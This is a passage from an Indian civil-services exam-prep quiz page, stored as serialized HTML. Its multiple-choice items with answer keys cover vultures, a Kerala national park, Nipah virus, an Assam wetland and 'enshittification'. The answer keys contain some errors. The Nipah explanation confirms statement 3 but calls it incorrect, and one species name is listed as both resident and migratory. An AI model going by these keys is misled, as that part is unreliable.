has-link-color wp-elements-88 wp-block-paragraph\">1. All Indian vulture species are listed under Schedule I of the Wildlife (Protection) Act, 1972, providing the highest protection.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-89 wp-block-paragraph\">2. The National Action Plan for Vulture Conservation mandates the establishment of at least one vulture-safe zone (VSZ) in each state.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-90 wp-block-paragraph\">3. India has the highest vulture diversity in the world after Africa.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-91 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-92 wp-block-paragraph\">(a) 1 and 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-93 wp-block-paragraph\">(b) 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-94 wp-block-paragraph\">(c) 1 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-95 wp-block-paragraph\">(d) 1, 2 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-96 wp-block-paragraph\"><strong>Answer: (d) 1, 2 and 3<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-97 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-98 wp-block-paragraph\"><strong>In NEWS: <\/strong>Vultures disappear from 72% of historical nesting sites, WII assessment reveals<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-99 wp-block-paragraph\"><strong>Vultures in India<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-100\">\n<li>Vultures are <strong>scavenging raptors<\/strong> crucial for maintaining ecosystem health by feeding on animal carcasses, thus <strong>preventing disease spread<\/strong>.<\/li>\n\n\n\n<li>India was once home to <strong>~4 crore vultures (1980s)<\/strong>, but their populations <strong>crashed by over 95%<\/strong> in the 1990s\u20132000s due to toxic veterinary drugs.<\/li>\n\n\n\n<li>India has the <strong>highest vulture diversity in the world<\/strong> after Africa. <strong>Hence statement 3 is correct.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-101 wp-block-paragraph\"><strong>Vulture Species in India<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-102 wp-block-paragraph\">There are <strong>9 species<\/strong> of vultures recorded in India:<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-103 wp-block-paragraph\"><strong>Resident Species (6)<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-104 wp-block-paragraph\">1. Oriental White-backed Vulture (Gyps bengalensis)<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-105 wp-block-paragraph\">2. Long-billed Vulture (Gyps indicus)<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-106 wp-block-paragraph\">3. Slender-billed Vulture (Gyps tenuirostris)<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-107 wp-block-paragraph\">4. Red-headed (King) Vulture (Sarcogyps calvus)<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-108 wp-block-paragraph\">5. Egyptian Vulture (Neophron percnopterus)<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-109 wp-block-paragraph\">6. Indian Griffon (Gyps fulvus)<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-110 wp-block-paragraph\"><strong>Migratory Species (3)<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-111 wp-block-paragraph\">7. Eurasian Griffon (Gyps fulvus)<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-112 wp-block-paragraph\">8. Himalayan Griffon (Gyps himalayensis)<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-113 wp-block-paragraph\">9. Cinereous Vulture (Aegypius monachus)<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-114 wp-block-paragraph\"><strong>Conservation Status (IUCN Red List)<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-text-color has-link-color\"><tbody><tr><td><strong>Species<\/strong><\/td><td><strong>IUCN Status<\/strong><\/td><\/tr><tr><td>Oriental White-backed Vulture<\/td><td><strong>Critically Endangered<\/strong><\/td><\/tr><tr><td>Slender-billed Vulture<\/td><td><strong>Critically Endangered<\/strong><\/td><\/tr><tr><td>Long-billed Vulture<\/td><td><strong>Critically Endangered<\/strong><\/td><\/tr><tr><td>Red-headed Vulture<\/td><td><strong>Critically Endangered<\/strong><\/td><\/tr><tr><td>Egyptian Vulture<\/td><td><strong>Endangered<\/strong><\/td><\/tr><tr><td>Himalayan Griffon<\/td><td><strong>Near Threatened<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-115 wp-block-paragraph\"><strong>Causes of Decline<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-116\">\n<li><strong>Diclofenac poisoning:<\/strong><ul><li>Veterinary drug used to treat livestock.<\/li><\/ul><ul><li>Vultures feeding on carcasses of treated animals suffer <strong>kidney failure<\/strong>.<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>Caused &gt;95% population crash in Gyps species.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Habitat loss and food scarcity<\/strong> (due to improved carcass disposal).<\/li>\n\n\n\n<li><strong>Electrocution and collision<\/strong> with power lines and wind turbines.<\/li>\n\n\n\n<li><strong>Poisoned bait<\/strong> used by poachers.<\/li>\n\n\n\n<li><strong>Inbreeding and low breeding rate<\/strong> in small populations.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-117 wp-block-paragraph\"><strong>Conservation Efforts<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-118 wp-block-paragraph\"><strong>(a) Legal Protection<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-119\">\n<li>All Indian vulture species are listed under <strong>Schedule I of the Wildlife (Protection) Act, 1972<\/strong>, providing the <strong>highest protection<\/strong>. <strong>Hence statement 1 is correct.<\/strong><\/li>\n\n\n\n<li>Diclofenac use was <strong>banned for veterinary purposes in 2006<\/strong>; alternatives like <strong>meloxicam<\/strong> are promoted.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-120 wp-block-paragraph\"><strong>(b) National Policies<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-121\">\n<li><strong>National Action Plan for Vulture Conservation (2020\u20132025):<\/strong><ul><li>Establish at least <strong>one vulture-safe zone (VSZ)<\/strong> in each state. <strong>Hence statement 2 is correct.<\/strong><\/li><\/ul><ul><li>Regulate veterinary drugs toxic to vultures (e.g., ketoprofen, aceclofenac).<\/li><\/ul><ul><li>Expand <strong>vulture breeding centres<\/strong> to 8\u201310 across India.<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>Conduct periodic surveys and tagging.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Vulture Safe Zones (VSZs):<\/strong> Established around breeding sites (e.g., Pinjore, Rajabhatkhawa, Rani).<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-122 wp-block-paragraph\"><strong>(c) Captive Breeding Centres<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-123\">\n<li>First established in <strong>Pinjore, Haryana<\/strong> (BNHS &amp; Forest Dept.)<\/li>\n\n\n\n<li>Other centres: <strong>Rajabhatkhawa (WB)<\/strong>, <strong>Rani (Assam)<\/strong>, <strong>Bhopal (MP)<\/strong>.<\/li>\n\n\n\n<li>Aim to breed and reintroduce vultures into safe wild habitats.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2012)<\/strong> <br><br><strong>Q. Vultures which used to be very common in Indian countryside some years ago are rarely seen nowadays. This is attributed to<\/strong> <br><br>(a) the destruction of their nesting sites by new invasive species <br><strong>(b) a drug used by cattle owners for treating their diseased cattle<\/strong> <br>(c) scarcity of food available to them <br>(d) a widespread, persistent and fatal disease among them<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-124 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.downtoearth.org.in\/wildlife-biodiversity\/vultures-disappear-from-72-of-historical-nesting-sites-wii-assessment-reveals\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.downtoearth.org.in\/wildlife-biodiversity\/vultures-disappear-from-72-of-historical-nesting-sites-wii-assessment-reveals<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-125 wp-block-paragraph\"><strong>6. The Pambadum Shola National Park consisting of evergreen montane forests interspersed with grasslands is located in which among the following states?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-126 wp-block-paragraph\">(a) Tamil Nadu<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-127 wp-block-paragraph\">(b) Kerala<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-128 wp-block-paragraph\">(c) Karnataka<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-129 wp-block-paragraph\">(d) Goa<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-130 wp-block-paragraph\"><strong>Answer: (b) Kerala<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-131 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-132 wp-block-paragraph\"><strong>In NEWS: <\/strong>How Pampadum Shola\u2019s fight against wattle invasion is reshaping India\u2019s restoration story<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-133 wp-block-paragraph\"><strong>Pambadum Shola National Park:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-134\">\n<li>Pambadum Shola National Park is the smallest national park in Kerala, covering an area of about 1.32 square kilometers. <strong>Hence option (b) is correct.<\/strong><\/li>\n\n\n\n<li>It is located in the Idukki district, near Marayoor and Kanthalloor, close to the hill station of Munnar.<\/li>\n\n\n\n<li>The park was established in 2003 to protect the unique shola forest ecosystem of the Western Ghats.<\/li>\n\n\n\n<li>The name \u201cPambadum Shola\u201d means \u201cthe forest where snakes dance\u201d in Malayalam.<\/li>\n\n\n\n<li>It forms part of the Anamalai sub-cluster of the Western Ghats, recognized as a UNESCO World Heritage Site.<\/li>\n\n\n\n<li>The park\u2019s terrain consists of evergreen montane forests (sholas) interspersed with grasslands.<\/li>\n\n\n\n<li>Rare and endemic species like the Nilgiri marten, Indian leopard, gaur, sambar deer, and Nilgiri wood pigeon are found here.<\/li>\n\n\n\n<li>The park is part of Kerala\u2019s protected area network, along with Eravikulam, Anamudi Shola, and Mathikettan Shola National Parks.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-135 wp-block-paragraph\"><strong>Australian Wattle:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-136\">\n<li>While wattles are native to Australia, several species have been introduced to other countries (especially in Africa, Asia, and the Mediterranean) for timber, fuelwood, or land stabilization.<\/li>\n\n\n\n<li>In many of these regions, certain wattles have become highly invasive, spreading rapidly and outcompeting native plants.<\/li>\n\n\n\n<li>These species produce large numbers of long-lived seeds and can resprout after fire, giving them a competitive advantage.<\/li>\n\n\n\n<li>Invasive wattles form dense thickets that:<ul><li>Reduce biodiversity by crowding out native species<\/li><\/ul><ul><li>Alter soil chemistry (due to nitrogen fixation)<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>Change fire regimes and water availability<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"464\" height=\"266\" src=\"https:\/\/iasquest.com\/wp-content\/uploads\/2025\/11\/image-5.png\" alt=\"\" class=\"wp-image-2687\" srcset=\"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/11\/image-5.png 464w, https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/11\/image-5-300x172.png 300w\" sizes=\"auto, (max-width: 464px) 100vw, 464px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2019)<\/strong> <br><br><strong>Q. Which one of the following National Parks lies completely in the temperate alpine zone?<\/strong> <br><br>(a) Manas National Park <br>(b) Namdapha National Park <br>(c) Neora Valley National Park <br><strong>(d) Valley of Flowers National Park<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-137 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.downtoearth.org.in\/environment\/how-pampadum-sholas-fight-against-wattle-invasion-is-reshaping-indias-restoration-story\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.downtoearth.org.in\/environment\/how-pampadum-sholas-fight-against-wattle-invasion-is-reshaping-indias-restoration-story<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-138 wp-block-paragraph\"><strong>7. Consider the following statements with respect to the \u2018Nipah virus infection\u2019.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-139 wp-block-paragraph\">1. It is a type of RNA virus in the genus Henipavirus, which normally circulates among fruit bats of the genus Pteropus.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-140 wp-block-paragraph\">2. It can be spread from animals to people and there is no human to human transmission.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-141 wp-block-paragraph\">3. There is neither vaccine nor specific treatment .<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-142 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-143 wp-block-paragraph\">(a) 1 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-144 wp-block-paragraph\">(b) 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-145 wp-block-paragraph\">(c) 1 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-146 wp-block-paragraph\">(d) 1, 2 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-147 wp-block-paragraph\"><strong>Answer: (a) 1 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-148 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-149 wp-block-paragraph\"><strong>In NEWS: <\/strong>ICMR invites EoI to develop monoclonal antibodies against Nipah virus in India<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-150 wp-block-paragraph\"><strong>Nipah virus:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-151\">\n<li>Nipah virus infection is an infection caused by the Nipah virus.&nbsp; The Nipah virus (NiV) is a type of RNA virus in the genus Henipavirus, which normally circulates among fruit bats of the genus Pteropus. <strong>Hence statement 1 is correct.<\/strong><\/li>\n\n\n\n<li><strong>Symptoms:<\/strong>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; None, fever, cough, headache, diarrhea, confusion<\/li>\n\n\n\n<li><strong>Complications:<\/strong> Inflammation of the brain, seizures<\/li>\n\n\n\n<li><strong>Diagnostic method: <\/strong>Based on symptoms, confirmed by laboratory testing<\/li>\n\n\n\n<li><strong>Prevention: <\/strong>Avoiding exposure to bats and to sick pigs and people and not drinking raw date palm sap.<\/li>\n\n\n\n<li><strong>Deaths: <\/strong>~50 to 75% risk of death<\/li>\n\n\n\n<li><strong>Transmission<\/strong>: Spread typically requires direct contact with an infected source; it can both spread between people and from other animals to people. <strong>Hence statement 2 is incorrect.<\/strong><\/li>\n\n\n\n<li><strong>Vaccine: <\/strong>Management is restricted to supportive care; as of 2021 there is neither vaccine nor specific treatment. <strong>Hence statement 3 is incorrect.<\/strong><\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"516\" height=\"376\" src=\"https:\/\/iasquest.com\/wp-content\/uploads\/2025\/11\/image-4.png\" alt=\"\" class=\"wp-image-2686\" srcset=\"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/11\/image-4.png 516w, https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/11\/image-4-300x219.png 300w\" sizes=\"auto, (max-width: 516px) 100vw, 516px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2017)<\/strong> <br><br><strong>Q. Consider the following statements:<\/strong> <br><br>1. In tropical regions, Zika virus disease is transmitted by the same mosquito that transmits dengue. <br>2. Sexual transmission of Zika virus disease is possible. <br><br><strong>Which of the statements given above is\/are correct?<\/strong> <br><br>(a) 1 only <br>(b) 2 only <br><strong>(c) Both 1 and 2<\/strong> <br>(d) Neither 1 nor 2<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-152 wp-block-paragraph\"><strong>Source:<\/strong><a href=\"https:\/\/www.thehindu.com\/news\/national\/icmr-invites-eoi-to-develop-monoclonal-antibodies-against-nipah-virus-in-india\/article70232755.ece\/amp\/\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/national\/icmr-invites-eoi-to-develop-monoclonal-antibodies-against-nipah-virus-in-india\/article70232755.ece\/amp\/<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-153 wp-block-paragraph\"><strong>8. The Rowmari\u2013Donduwa Wetland Complex, recently in news, is significant because:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-154 wp-block-paragraph\">(a) It meets Ramsar criteria by hosting more than 20,000 waterbirds and several threatened species.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-155 wp-block-paragraph\">(b) It is India\u2019s first wetland to be designated under Ramsar in Assam.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-156 wp-block-paragraph\">(c) It is a high-altitude wetland in the Eastern Himalayas.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-157 wp-block-paragraph\">(d) It is a coastal lagoon in the Sundarbans delta.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-158 wp-block-paragraph\"><strong>Answer: (a) It meets Ramsar criteria by hosting more than 20,000 waterbirds and several threatened species.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-159 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-160 wp-block-paragraph\"><strong>In NEWS: <\/strong>Push for Ramsar site tag for wetlands in Assam wildlife sanctuary<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-161 wp-block-paragraph\"><strong>Ramsar Convention on Wetlands (Ramsar) site tag for wetlands in Assam:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-162\">\n<li>The Ramsar Convention is an <strong>international treaty (1971)<\/strong> for the conservation and <strong>\u201cwise use\u201d<\/strong> of wetlands of international importance.<\/li>\n\n\n\n<li>In India, the first wetland to be designated under Ramsar in Assam is <strong>Deepor Beel (near Guwahati),<\/strong> which was declared in 2002.<\/li>\n\n\n\n<li>Despite Assam having thousands of wetlands (estimates over 3,000) owing to its floodplain, braided rivers and marshy systems, only one site in the state so far has Ramsar status.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-163 wp-block-paragraph\"><strong>The Current Proposal: Rowmari\u2013Donduwa Wetland Complex<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-164\">\n<li>Conservationists, scientists and local stakeholders in Assam are actively pushing for this wetland complex to be designated as a Ramsar site.<\/li>\n\n\n\n<li><strong>Location &amp; Nature:<\/strong> The complex comprises marshes, seasonally-flooded grasslands, riverine channels in central Assam (in the Nagaon area) that function as a habitat for migratory inland water-birds, resident birds, fish nursery grounds, and as a hydrological buffer.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-165 wp-block-paragraph\"><strong>Why it qualifies:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-166\">\n<li>Over 47,000 water-birds counted from 75-107 species in recent surveys \u21d2 meets one of Ramsar\u2019s threshold criteria (20,000 water-birds) for designation.<\/li>\n\n\n\n<li>Presence of threatened bird species (e.g., Lesser Adjutant, Black-necked Stork, Ferruginous Pochard, Knob-billed Duck).<\/li>\n\n\n\n<li>Supports at least 48 fish species and local livelihoods via fisheries and seasonal agriculture.<\/li>\n\n\n\n<li>Provides flood attenuation, groundwater recharge \u2014 critical for Assam\u2019s flood-prone Brahmaputra valley.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-167 wp-block-paragraph\"><strong>Hence option (a) is correct.<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2014)<\/strong> <br><br><strong>Q. With reference to a conservation organization called \u2018Wetlands International\u2019, which of the following statements is\/are correct?<\/strong> <br><br>1. It is an intergovernmental organization formed by the countries which are signatories to Ramsar Convention. <br>2. It works at the field level to develop and mobilize knowledge, and use the practical experience to advocate for better policies. <br><br><strong>Select the correct answer using the code given below.<\/strong> <br><br>(a) 1 only <br><strong>(b) 2 only<\/strong> <br>(c) Both 1 and 2 <br>(d) Neither 1 nor 2<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-168 wp-block-paragraph\"><strong>Source:<\/strong><a href=\"https:\/\/www.thehindu.com\/news\/national\/assam\/push-for-ramsar-site-tag-for-wetlands-in-assam-wildlife-sanctuary\/article70232863.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/national\/assam\/push-for-ramsar-site-tag-for-wetlands-in-assam-wildlife-sanctuary\/article70232863.ece<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-169 wp-block-paragraph\"><strong>9. The term \u2018Enshittification\u2019, recently seen in the news refers to<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-170 wp-block-paragraph\">(a) The gradual improvement of a product or service over time due to technological innovation.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-171 wp-block-paragraph\">(b) The systematic decline in quality of a product or digital platform as it prioritizes profit over user experience.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-172 wp-block-paragraph\">(c) A government policy to regulate digital platforms for better consumer protection.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-173 wp-block-paragraph\">(d) A software engineering process that automatically updates legacy code for efficiency.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-174 wp-block-paragraph\"><strong>Answer: (b) The systematic decline in quality of a product or digital platform as it prioritizes profit over user experience.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-175 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-176 wp-block-paragraph\"><strong>In NEWS: <\/strong>Are your favourite social platforms being degraded?<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-177\">\n<li>\u2018Enshittification\u2019 is a term increasingly being used to describe how your digital experiences, services, and transactions have become worse over time. However, the word\u2019s creator says this is a deliberate process, and that pushing back is possible<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-178 wp-block-paragraph\"><strong>Enshittification:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-179 wp-block-paragraph\">Enshittification refers to the gradual degradation of a digital platform or service over time, often as it shifts focus from serving users to maximizing profits. <strong>Hence option (b) is correct.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-180 wp-block-paragraph\"><strong>Stages of Enshittification:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-181\">\n<li>Bait: The platform initially prioritizes users, offering a high-quality experience to attract a large audience.<\/li>\n\n\n\n<li>Switch: Once the user base is established, the platform starts favoring business customers (advertisers, content creators) over regular users.<\/li>\n\n\n\n<li>Extraction: The platform maximizes profit from both users and business customers, often by increasing ads, fees, or reducing user-friendly features.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-182 wp-block-paragraph\"><strong>Effects on Users:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-183\">\n<li>More intrusive advertisements.<\/li>\n\n\n\n<li>Reduced quality of service and user experience.<\/li>\n\n\n\n<li>Features designed to increase monetization rather than usability.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-184 wp-block-paragraph\"><strong>Effects on Business Customers:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-185\">\n<li>Diminishing returns unless they pay more or adapt to new monetization strategies.<\/li>\n\n\n\n<li>Favoritism towards paid promotions or premium users.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-186 wp-block-paragraph\"><strong>Significance:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-187\">\n<li>Highlights the tension between user interests and profit motives on digital platforms.<\/li>\n\n\n\n<li>Shows the importance of competition, regulation, and alternatives to prevent quality decline.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2016)<\/strong> <br><br><strong>Q. In the context of the developments in Bioinformatics, the term \u2018transcriptome\u2019, sometimes seen in the news, refers to<\/strong> <br><br>(a) a range of enzymes used in genome editing <br><strong>(b) the full range of mRNA molecules expressed by an organism<\/strong> <br>(c) the description of the mechanism of gene expression <br>(d) a mechanism of genetic mutation taking place in cells<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-188 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/sci-tech\/technology\/are-your-favourite-social-platforms-being-degraded\/article70228459.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/sci-tech\/technology\/are-your-favourite-social-platforms-being-degraded\/article70228459.ece<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-189 wp-block-paragraph\"><strong>10. In which of the following regions of India are you most likely to come across the \u2018Great Indian Hornbill\u2019 in its natural habitat?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-190 wp-block-paragraph\">(a) Sand deserts of northwest India<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-191 wp-block-paragraph\">(b) Higher Himalayas of Jammu and Kashmir<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-192 wp-block-paragraph\">(c) Salt marshes of western Gujarat<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-193 wp-block-paragraph\">(d) Western Ghats<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-194 wp-block-paragraph\"><strong>Answer: (d) Western Ghats<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-195 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-196\">\n<li>The <strong>Great 